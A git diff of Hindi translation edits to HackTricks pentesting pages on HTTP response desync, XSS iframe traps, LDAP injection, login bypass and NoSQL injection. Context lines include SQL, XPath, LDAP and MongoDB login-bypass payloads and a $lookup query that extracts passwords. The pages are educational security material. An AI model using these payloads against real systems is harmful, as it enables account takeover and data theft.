फिर, एक बार जब **प्रारंभिक request** (नीला) को **प्रसंस्कृत** किया गया और **जब** **नींद वाली** request को संसाधित किया जा रहा है (पीला), तो **एक पीड़ित से आने वाली अगली request** को **परावर्तित पैरामीटर के ठीक बाद कतार में जोड़ा जाएगा**:
|
||||
फिर, एक बार जब **प्रारंभिक request** (नीला) को **प्रोसेस** किया गया और **जब** **नींद वाली** request को प्रोसेस किया जा रहा है (पीला) तो **एक पीड़ित से आने वाली अगली request** को **परावर्तित पैरामीटर के ठीक बाद कतार में जोड़ा जाएगा**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -62,7 +62,7 @@ HTTP Request Smuggling के ज्ञात payloads के साथ, आप
|
||||
|
||||
## Response Desynchronisation
|
||||
|
||||
अब तक, हमने सीखा है कि HTTP Request Smuggling हमलों का **दुरुपयोग** कैसे किया जाए ताकि **क्लाइंट** को **प्राप्त होने वाली प्रतिक्रिया** के **request** को **नियंत्रित** किया जा सके और आप फिर **पीड़ित के लिए निर्धारित प्रतिक्रिया को चुरा सकते हैं**।
|
||||
अब तक, हमने सीखा है कि HTTP Request Smuggling हमलों का **दुरुपयोग** कैसे किया जाए ताकि **क्लाइंट** को **प्राप्त होने वाली प्रतिक्रिया** को **नियंत्रित** किया जा सके और आप फिर **पीड़ित के लिए निर्धारित प्रतिक्रिया को चुरा सकते हैं**।
|
||||
|
||||
लेकिन अभी भी प्रतिक्रियाओं को **और अधिक असंक्रमित** करना संभव है।
|
||||
|
||||
@ -76,13 +76,13 @@ HTTP Request Smuggling के ज्ञात payloads के साथ, आप
|
||||
|
||||
.png>)
|
||||
|
||||
फिर, **पीड़ित** को **HEAD** request से **प्रतिक्रिया प्राप्त होगी**, जो **एक Content-Length शामिल करेगी लेकिन कोई सामग्री नहीं होगी**। इसलिए, प्रॉक्सी **इस प्रतिक्रिया को पीड़ित को नहीं भेजेगी**, बल्कि कुछ **सामग्री** की **प्रतीक्षा** करेगी, जो वास्तव में **पीले request की प्रतिक्रिया** होगी (जो हमलावर द्वारा भी इंजेक्ट की गई थी):
|
||||
फिर, **पीड़ित** को **HEAD** request से **प्रतिक्रिया प्राप्त होगी**, जो **एक Content-Length शामिल करेगी लेकिन कोई सामग्री नहीं होगी**। इसलिए, प्रॉक्सी **इस प्रतिक्रिया को पीड़ित को नहीं भेजेगी**, बल्कि कुछ **सामग्री** की प्रतीक्षा करेगी, जो वास्तव में **पीले request की प्रतिक्रिया** होगी (जो हमलावर द्वारा भी इंजेक्ट की गई थी):
|
||||
|
||||
.png>)
|
||||
|
||||
### Content Confusion
|
||||
|
||||
पिछले उदाहरण का पालन करते हुए, यह जानते हुए कि आप **पीड़ित को प्राप्त होने वाली प्रतिक्रिया के request के शरीर को नियंत्रित कर सकते हैं** और कि एक **HEAD** **प्रतिक्रिया** आमतौर पर अपने हेडर में **Content-Type और Content-Length** शामिल करती है, आप **निम्नलिखित** request भेज सकते हैं **पीड़ित में XSS उत्पन्न करने के लिए** बिना पृष्ठ के XSS के प्रति संवेदनशील होने के:
|
||||
पिछले उदाहरण का पालन करते हुए, यह जानते हुए कि आप **पीड़ित को प्राप्त होने वाली प्रतिक्रिया** के लिए **request के शरीर को नियंत्रित** कर सकते हैं और कि एक **HEAD** **प्रतिक्रिया** आमतौर पर इसके हेडर में **Content-Type और Content-Length** शामिल करती है, आप **निम्नलिखित** request भेज सकते हैं **पीड़ित में XSS उत्पन्न करने के लिए** बिना पृष्ठ के XSS के प्रति संवेदनशील होने के:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -99,7 +99,7 @@ XSS payload वाली दुर्भावनापूर्ण request:
|
||||
.png>)
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि इस मामले में यदि **"पीड़ित" हमलावर है**, तो वह अब **मनमाने URLs में कैश विषाक्तता** कर सकता है क्योंकि वह **दुर्भावनापूर्ण प्रतिक्रिया के साथ कैश की जाने वाली URL को नियंत्रित कर सकता है**।
|
||||
> ध्यान दें कि इस मामले में यदि **"पीड़ित" हमलावर है** तो वह अब **मनमाने URLs में कैश विषाक्त** कर सकता है क्योंकि वह **दुर्भावनापूर्ण प्रतिक्रिया के साथ कैश की जाने वाली URL को नियंत्रित कर सकता है**।
|
||||
|
||||
### Web Cache Deception
|
||||
|
||||
@ -111,9 +111,9 @@ XSS payload वाली दुर्भावनापूर्ण request:
|
||||
|
||||
इस हमले का **लक्ष्य** फिर से **प्रतिक्रिया** **असंक्रमण** का दुरुपयोग करना है ताकि **प्रॉक्सी 100% हमलावर द्वारा उत्पन्न प्रतिक्रिया भेजे**।
|
||||
|
||||
इसको प्राप्त करने के लिए, हमलावर को एक वेब एप्लिकेशन के एक एंडपॉइंट को खोजने की आवश्यकता है जो **प्रतिक्रिया के अंदर कुछ मानों को परावर्तित कर रहा है** और **HEAD प्रतिक्रिया की सामग्री लंबाई को जानता है**।
|
||||
इस लक्ष्य को प्राप्त करने के लिए, हमलावर को एक वेब एप्लिकेशन के एक एंडपॉइंट को खोजने की आवश्यकता है जो **प्रतिक्रिया के अंदर कुछ मानों को परावर्तित कर रहा है** और **HEAD प्रतिक्रिया की सामग्री की लंबाई को जानता है**।
|
||||
|
||||
वह एक **शोषण** भेजेगा जैसे:
|
||||
वह एक **exploit** भेजेगा जैसे:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -127,6 +127,6 @@ XSS payload वाली दुर्भावनापूर्ण request:
|
||||
|
||||
हालांकि, ध्यान दें कि **परावर्तित डेटा का आकार HEAD** प्रतिक्रिया की **Content-Length** के अनुसार था जिसने **प्रतिक्रिया कतार में एक वैध HTTP प्रतिक्रिया उत्पन्न की**।
|
||||
|
||||
इसलिए, **दूसरे पीड़ित की अगली request** को **प्रतिक्रिया के रूप में कुछ पूरी तरह से हमलावर द्वारा तैयार किया गया प्राप्त होगा**। चूंकि प्रतिक्रिया पूरी तरह से हमलावर द्वारा तैयार की गई है, वह **प्रॉक्सी को प्रतिक्रिया को कैश करने** के लिए भी **बनाने** में सक्षम है।
|
||||
इसलिए, **दूसरे पीड़ित की अगली request** को **प्रतिक्रिया के रूप में कुछ पूरी तरह से हमलावर द्वारा तैयार किया गया प्राप्त होगा**। चूंकि प्रतिक्रिया पूरी तरह से हमलावर द्वारा तैयार की गई है, वह **प्रॉक्सी को प्रतिक्रिया को कैश करने** के लिए भी **बना सकता है**।
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
XSS का यह रूप, जो उपयोगकर्ता से जानकारी चुराने के लिए iframes का दुरुपयोग करता है, वेब पृष्ठ पर चलने के दौरान, मूल रूप से trustedsec.com पर इन 2 पोस्ट में प्रकाशित किया गया था: [**यहां**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **और** [**यहां**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams)।
|
||||
XSS के माध्यम से iframes का यह रूप उपयोगकर्ता से जानकारी चुराने के लिए वेब पृष्ठ पर चलने के दौरान मूल रूप से trustedsec.com पर इन 2 पोस्ट में प्रकाशित किया गया था: [**यहां**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **और** [**यहां**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
|
||||
|
||||
हमला एक ऐसे पृष्ठ पर शुरू होता है जो XSS के प्रति संवेदनशील है, जहां यह संभव है कि **शिकार XSS को न छोड़ें** और उन्हें **एक iframe के भीतर नेविगेट करने** के लिए मजबूर किया जाए जो पूरे वेब एप्लिकेशन को कवर करता है।
|
||||
हमला एक ऐसे पृष्ठ पर शुरू होता है जो XSS के प्रति संवेदनशील है जहां यह संभव है कि **शिकार XSS को न छोड़ें** और उन्हें **एक iframe के भीतर नेविगेट करने** के लिए मजबूर किया जाए जो पूरे वेब एप्लिकेशन को कवर करता है।
|
||||
|
||||
XSS हमला मूल रूप से 100% स्क्रीन में एक iframe में वेब पृष्ठ को लोड करेगा। इसलिए, शिकार **नहीं देखेगा कि वह एक iframe के अंदर है**। फिर, यदि शिकार iframe के अंदर (वेब के भीतर) लिंक पर क्लिक करके पृष्ठ में नेविगेट करता है, तो वह **iframe के अंदर नेविगेट कर रहा होगा**, जिसमें मनमाना JS लोड किया गया है जो इस नेविगेशन से जानकारी चुरा रहा है।
|
||||
XSS हमला मूल रूप से स्क्रीन के 100% में एक iframe में वेब पृष्ठ को लोड करेगा। इसलिए, शिकार **नहीं देखेगा कि वह एक iframe के अंदर है**। फिर, यदि शिकार iframe (वेब के अंदर) के भीतर लिंक पर क्लिक करके पृष्ठ में नेविगेट करता है, तो वह **iframe के अंदर नेविगेट कर रहा होगा** जिसमें मनमाना JS लोड किया गया है जो इस नेविगेशन से जानकारी चुरा रहा है।
|
||||
|
||||
इसके अलावा, इसे और अधिक यथार्थवादी बनाने के लिए, कुछ **listeners** का उपयोग करना संभव है यह जांचने के लिए कि कब एक iframe पृष्ठ के स्थान को बदलता है, और उस स्थान के साथ ब्राउज़र के URL को अपडेट करें, जिससे उपयोगकर्ता को लगता है कि वह ब्राउज़र का उपयोग करके पृष्ठों के बीच नेविगेट कर रहा है।
|
||||
इसके अलावा, इसे और अधिक यथार्थवादी बनाने के लिए, कुछ **listeners** का उपयोग करना संभव है यह जांचने के लिए कि कब एक iframe पृष्ठ के स्थान को बदलता है, और उस स्थान के साथ ब्राउज़र के URL को अपडेट करें जो उपयोगकर्ता सोचता है कि वह ब्राउज़र का उपयोग करके पृष्ठों में जा रहा है।
|
||||
|
||||
<figure><img src="../images/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
||||
|
||||
@ -18,6 +18,6 @@ XSS हमला मूल रूप से 100% स्क्रीन में
|
||||
|
||||
इसके अलावा, संवेदनशील जानकारी चुराने के लिए listeners का उपयोग करना संभव है, न केवल अन्य पृष्ठों से जो शिकार देख रहा है, बल्कि **फॉर्म भरने** के लिए उपयोग किए गए डेटा और उन्हें भेजने (क्रेडेंशियल?) या **स्थानीय संग्रहण चुराने** के लिए...
|
||||
|
||||
बेशक, मुख्य सीमाएं हैं कि **शिकार टैब बंद करने या ब्राउज़र में अन्य URL डालने पर iframe से बाहर निकल जाएगा**। इसे करने का एक और तरीका **पृष्ठ को रिफ्रेश करना** होगा, हालांकि, इसे आंशिक रूप से **रोकने** के लिए हर बार जब एक नया पृष्ठ iframe के अंदर लोड होता है, तो दाएं क्लिक संदर्भ मेनू को अक्षम करना या यह नोटिस करना कि उपयोगकर्ता का माउस iframe को छोड़ता है, संभावित रूप से ब्राउज़र के रीलोड बटन पर क्लिक करने के लिए और इस मामले में ब्राउज़र का URL मूल URL के साथ अपडेट किया जाता है जो XSS के प्रति संवेदनशील है, इसलिए यदि उपयोगकर्ता इसे रीलोड करता है, तो यह फिर से संक्रमित हो जाएगा (ध्यान दें कि यह बहुत छिपा हुआ नहीं है)।
|
||||
बेशक, मुख्य सीमाएं यह हैं कि **शिकार टैब बंद करने या ब्राउज़र में अन्य URL डालने पर iframe से बाहर निकल जाएगा**। इसे करने का एक और तरीका **पृष्ठ को रिफ्रेश करना** होगा, हालांकि, इसे आंशिक रूप से **रोकने** के लिए हर बार जब एक नया पृष्ठ iframe के अंदर लोड होता है, तो दाएं क्लिक संदर्भ मेनू को अक्षम करना या यह नोटिस करना कि उपयोगकर्ता का माउस iframe को छोड़ता है, संभावित रूप से ब्राउज़र के रीलोड बटन पर क्लिक करने के लिए और इस मामले में ब्राउज़र का URL मूल URL के साथ अपडेट किया जाता है जो XSS के प्रति संवेदनशील है, इसलिए यदि उपयोगकर्ता इसे रीलोड करता है, तो यह फिर से संक्रमित हो जाएगा (ध्यान दें कि यह बहुत छिपा हुआ नहीं है)।
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -28,11 +28,11 @@
|
||||
**Simple** = attr filtertype assertionvalue\
|
||||
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Present** = attr = \*\
|
||||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Substring** = attr ”=” \[प्रारंभिक] \* \[अंतिम]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
&#xNAN;**(&)** = Absolute TRUE\
|
||||
&#xNAN;**(|)** = Absolute FALSE
|
||||
&#xNAN;**(&)** = पूर्ण TRUE\
|
||||
&#xNAN;**(|)** = पूर्ण FALSE
|
||||
|
||||
उदाहरण के लिए:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
@ -42,7 +42,7 @@
|
||||
|
||||
**OpenLDAP**: यदि 2 फ़िल्टर आते हैं, तो केवल पहले को निष्पादित करता है।\
|
||||
**ADAM या Microsoft LDS**: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।\
|
||||
**SunOne Directory Server 5.0**: दोनों फ़िल्टर निष्पादित करता है।
|
||||
**SunOne Directory Server 5.0**: दोनों फ़िल्टर निष्पादित करते हैं।
|
||||
|
||||
**यह बहुत महत्वपूर्ण है कि फ़िल्टर को सही सिंटैक्स के साथ भेजा जाए, अन्यथा एक त्रुटि फेंकी जाएगी। केवल 1 फ़िल्टर भेजना बेहतर है।**
|
||||
|
||||
@ -148,7 +148,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
|
||||
#### **मान्य LDAP फ़ील्ड खोजें**
|
||||
|
||||
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ** रखते हैं जो **जानकारी को सहेजने** के लिए उपयोग की जा सकती हैं। आप **उनमें से सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) पा सकते हैं।
|
||||
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ शामिल करते हैं** जिन्हें **जानकारी सहेजने** के लिए उपयोग किया जा सकता है। आप **उनमें से सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) पा सकते हैं।
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -8,8 +8,8 @@
|
||||
|
||||
- पृष्ठ के अंदर **टिप्पणियों** की जांच करें (नीचे और दाईं ओर स्क्रॉल करें?)
|
||||
- जांचें कि क्या आप **प्रतिबंधित पृष्ठों** तक **प्रत्यक्ष पहुंच** प्राप्त कर सकते हैं
|
||||
- **पैरामीटर न भेजने** की जांच करें (कोई भी न भेजें या केवल 1)
|
||||
- **PHP तुलना त्रुटि** की जांच करें: `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
- **पैरामीटर न भेजें** (कोई भी न भेजें या केवल 1)
|
||||
- **PHP तुलना त्रुटि की जांच करें:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
- **सामग्री प्रकार को json में बदलें** और json मान भेजें (bool true शामिल)
|
||||
- यदि आपको एक प्रतिक्रिया मिलती है जो कहती है कि POST समर्थित नहीं है, तो आप **GET अनुरोध के साथ शरीर में JSON भेजने** की कोशिश कर सकते हैं `Content-Type: application/json`
|
||||
- nodejs संभावित पार्सिंग त्रुटि की जांच करें (पढ़ें [**यहां**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
@ -23,7 +23,7 @@
|
||||
- **Cewl** का उपयोग करके एक शब्दकोश बनाएं, **डिफ़ॉल्ट** उपयोगकर्ता नाम और पासवर्ड (यदि है) जोड़ें और सभी शब्दों का उपयोग करके इसे **ब्रूट-फोर्स** करने की कोशिश करें **उपयोगकर्ता नाम और पासवर्ड के रूप में**
|
||||
- **बड़े शब्दकोश का उपयोग करके ब्रूट-फोर्स करें (**[**ब्रूट फोर्स**](../../generic-hacking/brute-force.md#http-post-form)**)**
|
||||
|
||||
### SQL इंजेक्शन प्रमाणीकरण बायपास
|
||||
### SQL Injection प्रमाणीकरण बायपास
|
||||
|
||||
[यहां आप **SQL इंजेक्शन** के माध्यम से लॉगिन बायपास करने के लिए कई तरकीबें पा सकते हैं](../sql-injection/#authentication-bypass)।
|
||||
|
||||
@ -33,13 +33,13 @@
|
||||
sql-login-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### नो SQL इंजेक्शन प्रमाणीकरण बायपास
|
||||
### No SQL Injection प्रमाणीकरण बायपास
|
||||
|
||||
[यहां आप **नो SQL इंजेक्शन** के माध्यम से लॉगिन बायपास करने के लिए कई तरकीबें पा सकते हैं](../nosql-injection.md#basic-authentication-bypass)**।**
|
||||
[यहां आप **No SQL इंजेक्शन** के माध्यम से लॉगिन बायपास करने के लिए कई तरकीबें पा सकते हैं](../nosql-injection.md#basic-authentication-bypass)**।**
|
||||
|
||||
चूंकि नोSQL इंजेक्शन को पैरामीटर मान बदलने की आवश्यकता होती है, इसलिए आपको उन्हें मैन्युअल रूप से परीक्षण करने की आवश्यकता होगी।
|
||||
चूंकि NoSQL इंजेक्शन को पैरामीटर मान बदलने की आवश्यकता होती है, इसलिए आपको उन्हें मैन्युअल रूप से परीक्षण करने की आवश्यकता होगी।
|
||||
|
||||
### XPath इंजेक्शन प्रमाणीकरण बायपास
|
||||
### XPath Injection प्रमाणीकरण बायपास
|
||||
|
||||
[यहां आप **XPath इंजेक्शन** के माध्यम से लॉगिन बायपास करने के लिए कई तरकीबें पा सकते हैं](../xpath-injection.md#authentication-bypass)
|
||||
```
|
||||
@ -57,9 +57,9 @@ sql-login-bypass.md
|
||||
admin' or '
|
||||
admin' or '1'='2
|
||||
```
|
||||
### LDAP Injection प्रमाणीकरण बायपास
|
||||
### LDAP Injection प्रमाणीकरण बाईपास
|
||||
|
||||
[यहाँ आप **LDAP Injection** के माध्यम से लॉगिन बायपास करने के लिए कई तरकीबें पा सकते हैं।](../ldap-injection.md#login-bypass)
|
||||
[यहाँ आप **LDAP Injection** के माध्यम से लॉगिन बाईपास करने के लिए कई तरकीबें पा सकते हैं।](../ldap-injection.md#login-bypass)
|
||||
```
|
||||
*
|
||||
*)(&
|
||||
@ -84,7 +84,7 @@ admin))(|(|
|
||||
## अन्य जांचें
|
||||
|
||||
- जांचें कि क्या आप लॉगिन कार्यक्षमता का दुरुपयोग करके **उपयोगकर्ता नामों** की **गणना** कर सकते हैं।
|
||||
- जांचें कि क्या पासवर्ड/**संवेदनशील** जानकारी **फॉर्म** **इनपुट:** `<input autocomplete="false">` में **स्वतः पूर्णता** सक्रिय है।
|
||||
- जांचें कि क्या पासवर्ड/**संवेदनशील** जानकारी **फॉर्म** **इनपुट:** `<input autocomplete="false">` में **स्वतः पूर्ण** सक्रिय है।
|
||||
|
||||
## स्वचालित उपकरण
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
यह सूची **XPath, LDAP और SQL इंजेक्शन के माध्यम से लॉगिन बायपास करने के लिए पेलोड्स** (इस क्रम में) शामिल करती है।
|
||||
यह सूची **XPath, LDAP और SQL इंजेक्शन के माध्यम से लॉगिन बायपास करने के लिए पेलोड्स** को शामिल करती है (इस क्रम में)।
|
||||
|
||||
इस सूची का उपयोग करने का तरीका है कि **पहले 200 पंक्तियों को उपयोगकर्ता नाम और पासवर्ड के रूप में डालें।** फिर, उपयोगकर्ता नाम के इनपुट में पूरी सूची डालें और फिर पासवर्ड इनपुट में कुछ पासवर्ड (जैसे _Pass1234._) या कुछ ज्ञात उपयोगकर्ता नाम (जैसे _admin_) डालें।
|
||||
```
|
||||
|
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
||||
```javascript
|
||||
query = { $where: `this.username == '${username}'` }
|
||||
```
|
||||
एक हमलावर इसको इस तरह से उपयोग कर सकता है कि वह स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट करे, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देगी क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरीज़ को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं।
|
||||
एक हमलावर इसको इस तरह से भुनाने के लिए स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट कर सकता है, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देती है क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरीज़ को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं।
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||
@ -78,7 +78,7 @@ in JSON
|
||||
```
|
||||
### PHP मनमाना फ़ंक्शन निष्पादन
|
||||
|
||||
डिफ़ॉल्ट रूप से उपयोग की जाने वाली [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) पुस्तकालय के **$func** ऑपरेटर का उपयोग करके, [इस रिपोर्ट](https://swarm.ptsecurity.com/rce-cockpit-cms/) की तरह एक मनमाना फ़ंक्शन निष्पादित करना संभव हो सकता है।
|
||||
**$func** ऑपरेटर का उपयोग करते हुए [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) पुस्तकालय (डिफ़ॉल्ट रूप से उपयोग किया जाता है) के माध्यम से मनमाना फ़ंक्शन निष्पादित करना संभव हो सकता है जैसे कि [इस रिपोर्ट](https://swarm.ptsecurity.com/rce-cockpit-cms/) में।
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
@ -86,9 +86,9 @@ in JSON
|
||||
|
||||
### विभिन्न संग्रह से जानकारी प्राप्त करें
|
||||
|
||||
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों** के **परिणाम** प्राप्त कर रहे हैं।
|
||||
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों के परिणाम** प्राप्त कर रहे हैं।
|
||||
|
||||
**नोट:** `$lookup` और अन्य समेकन कार्य केवल तभी उपलब्ध हैं जब `aggregate()` कार्य का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` कार्यों के लिए।
|
||||
**नोट:** `$lookup` और अन्य समग्र कार्य केवल तभी उपलब्ध हैं जब `aggregate()` फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` फ़ंक्शंस का।
|
||||
```json
|
||||
[
|
||||
{
|
||||
@ -110,7 +110,7 @@ in JSON
|
||||
```
|
||||
## MongoDB Payloads
|
||||
|
||||
सूची [यहाँ से](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
सूची [यहां से](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
```
|
||||
true, $where: '1 == 1'
|
||||
, $where: '1 == 1'
|
||||
|
@ -4,24 +4,24 @@
|
||||
|
||||
## Basic Information <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth विभिन्न संस्करणों की पेशकश करता है, जिनकी मौलिक जानकारी [OAuth 2.0 documentation](https://oauth.net/2/) पर उपलब्ध है। यह चर्चा मुख्य रूप से व्यापक रूप से उपयोग किए जाने वाले [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/) पर केंद्रित है, जो **एक प्राधिकरण ढांचा प्रदान करता है जो एक एप्लिकेशन को किसी अन्य एप्लिकेशन में उपयोगकर्ता के खाते तक पहुंचने या उस पर क्रियाएँ करने की अनुमति देता है** (प्राधिकरण सर्वर)।
|
||||
OAuth विभिन्न संस्करणों की पेशकश करता है, जिनकी मौलिक जानकारी [OAuth 2.0 documentation](https://oauth.net/2/) पर उपलब्ध है। यह चर्चा मुख्य रूप से व्यापक रूप से उपयोग किए जाने वाले [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/) पर केंद्रित है, जो एक **authorization framework प्रदान करता है जो एक एप्लिकेशन को किसी अन्य एप्लिकेशन में उपयोगकर्ता के खाते तक पहुंचने या उस पर क्रियाएं करने की अनुमति देता है** (authorization server)।
|
||||
|
||||
एक काल्पनिक वेबसाइट _**https://example.com**_ पर विचार करें, जिसे **आपके सभी सोशल मीडिया पोस्ट प्रदर्शित करने के लिए डिज़ाइन किया गया है**, जिसमें निजी पोस्ट भी शामिल हैं। इसे प्राप्त करने के लिए, OAuth 2.0 का उपयोग किया जाता है। _https://example.com_ आपकी अनुमति मांगेगा **आपके सोशल मीडिया पोस्ट तक पहुंचने के लिए**। इसके परिणामस्वरूप, _https://socialmedia.com_ पर एक सहमति स्क्रीन दिखाई देगी, जिसमें **अनुरोध की जा रही अनुमतियाँ और अनुरोध करने वाला डेवलपर** का विवरण होगा। आपकी प्राधिकरण पर, _https://example.com_ को **आपकी ओर से आपके पोस्ट तक पहुंचने की क्षमता मिलती है**।
|
||||
एक काल्पनिक वेबसाइट _**https://example.com**_ पर विचार करें, जिसे **आपके सभी सोशल मीडिया पोस्ट प्रदर्शित करने के लिए डिज़ाइन किया गया है**, जिसमें निजी पोस्ट भी शामिल हैं। इसे प्राप्त करने के लिए, OAuth 2.0 का उपयोग किया जाता है। _https://example.com_ आपकी अनुमति मांगेगा **आपके सोशल मीडिया पोस्ट तक पहुंचने के लिए**। इसके परिणामस्वरूप, _https://socialmedia.com_ पर एक सहमति स्क्रीन दिखाई देगी, जिसमें **अनुरोधित अनुमतियों और अनुरोध करने वाले डेवलपर का विवरण होगा**। आपकी अनुमति मिलने पर, _https://example.com_ को **आपकी ओर से आपके पोस्ट तक पहुंचने की क्षमता मिलती है**।
|
||||
|
||||
OAuth 2.0 ढांचे के भीतर निम्नलिखित घटकों को समझना आवश्यक है:
|
||||
|
||||
- **resource owner**: आप, **उपयोगकर्ता/संस्थान**, अपने संसाधन, जैसे आपके सोशल मीडिया खाते के पोस्ट, तक पहुंच की अनुमति देते हैं।
|
||||
- **resource server**: **सर्वर जो प्रमाणित अनुरोधों का प्रबंधन करता है** जब एप्लिकेशन `access token` को `resource owner` की ओर से सुरक्षित करता है, जैसे कि **https://socialmedia.com**।
|
||||
- **client application**: **अनुमति प्राप्त करने वाला एप्लिकेशन** `resource owner` से, जैसे कि **https://example.com**।
|
||||
- **authorization server**: **सर्वर जो `access tokens` जारी करता है** `client application` को `resource owner` के सफल प्रमाणीकरण और प्राधिकरण सुरक्षित करने के बाद, जैसे कि **https://socialmedia.com**।
|
||||
- **client application**: **एप्लिकेशन जो `resource owner` से अनुमति मांगता है**, जैसे कि **https://example.com**।
|
||||
- **authorization server**: **सर्वर जो `client application` को `access tokens` जारी करता है** `resource owner` की सफल प्रमाणीकरण और अनुमति प्राप्त करने के बाद, जैसे कि **https://socialmedia.com**।
|
||||
- **client_id**: एप्लिकेशन के लिए एक सार्वजनिक, अद्वितीय पहचानकर्ता।
|
||||
- **client_secret:** एक गोपनीय कुंजी, जो केवल एप्लिकेशन और प्राधिकरण सर्वर को ज्ञात होती है, जिसका उपयोग `access_tokens` उत्पन्न करने के लिए किया जाता है।
|
||||
- **client_secret:** एक गोपनीय कुंजी, जो केवल एप्लिकेशन और authorization server को ज्ञात होती है, जिसका उपयोग `access_tokens` उत्पन्न करने के लिए किया जाता है।
|
||||
- **response_type**: एक मान जो **अनुरोधित टोकन के प्रकार को निर्दिष्ट करता है**, जैसे `code`।
|
||||
- **scope**: **पहुँच का स्तर** जो `client application` `resource owner` से मांग रहा है।
|
||||
- **redirect_uri**: **URL जिस पर उपयोगकर्ता प्राधिकरण के बाद पुनर्निर्देशित होता है**। यह आमतौर पर पूर्व-रजिस्टर्ड पुनर्निर्देशित URL के साथ मेल खाना चाहिए।
|
||||
- **state**: एक पैरामीटर जो **उपयोगकर्ता के प्राधिकरण सर्वर पर जाने और लौटने के दौरान डेटा बनाए रखने के लिए** है। इसकी विशिष्टता **CSRF सुरक्षा तंत्र** के रूप में कार्य करने के लिए महत्वपूर्ण है।
|
||||
